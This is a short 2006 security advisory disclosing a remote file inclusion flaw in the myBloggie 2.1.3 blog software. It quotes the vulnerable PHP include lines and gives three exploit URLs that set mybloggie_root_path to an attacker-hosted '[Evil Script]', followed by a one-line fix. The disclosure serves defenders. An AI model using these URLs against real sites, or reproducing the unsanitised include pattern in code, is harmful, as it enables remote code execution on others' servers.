mybloggie213include.txt

`-----------------------------------------------------------------------------------------  
myBloggie 2.1.3 mybloggie_root_path Remote File Inclusion  
-----------------------------------------------------------------------------------------  
Author : Sh3ll  
Date : 2006/04/29  
Location : Iran - Tehran  
HomePage : http://www.sh3ll.ir  
Email : sh3ll[at]sh3ll[dot]ir  
Critical Level : Dangerous  
-----------------------------------------------------------------------------------------  
Affected Software Description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : myBloggie  
version : 2.1.3  
URL : http://www.mywebland.com , http://mybloggie.mywebland.com  
Description :   
myBloggie is considered one of the most simple, user-friendliest yet packed  
with features Weblog system available to date.  
-----------------------------------------------------------------------------------------  
Vulnerabilities:  
~~~~~~~~~~~~~~~  
in admin.php , index.php & db.php We Found Vulnerability Scripts  
----------------------------------------admin.php----------------------------------------  
....  
<?php  
include($mybloggie_root_path.'spacer6.php');  
?>  
...  
----------------------------------------index.php----------------------------------------  
....  
<?php  
}  
if (!isset($mode)) {  
include($mybloggie_root_path.'blog.php');  
}  
$template->pparse('sidevert');  
}  
  
// End right sidemenu condition  
  
// Sidemenu menu items. You can change the menu item order here  
include($mybloggie_root_path.'calendar.php');  
include($mybloggie_root_path.'spacer.php');  
include($mybloggie_root_path.'category.php');  
include($mybloggie_root_path.'spacer.php');  
include($mybloggie_root_path.'recent.php');  
include($mybloggie_root_path.'spacer.php');  
include($mybloggie_root_path.'archives.php');  
include($mybloggie_root_path.'spacer.php');  
include($mybloggie_root_path.'user.php');  
include($mybloggie_root_path.'spacer.php');  
if ($search) {  
include($mybloggie_root_path.'searchform.php');  
include($mybloggie_root_path.'spacer.php');  
}  
...   
  
-------------------------------------------db.php----------------------------------------  
....  
<?php  
include($mybloggie_root_path .'includes/mysql.php');  
?>  
...  
-----------------------------------------------------------------------------------------  
Exploit:  
~~~~~~~  
http://www.target.com/[myBloggie]/admin.php?mybloggie_root_path=[Evil Script]  
http://www.target.com/[myBloggie]/index.php?mybloggie_root_path=[Evil Script]  
http://www.target.com/[myBloggie]/includes/db.php?mybloggie_root_path=[Evil Script]  
  
Solution:  
~~~~~~~~  
Sanitize Variabel $mybloggie_root_path in admin.php , index.php & db.php  
-----------------------------------------------------------------------------------------  
Shoutz:  
~~~~~~  
~ Special Greetz to My Best Friend N4sh3n4s & My GF Atena  
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams   
`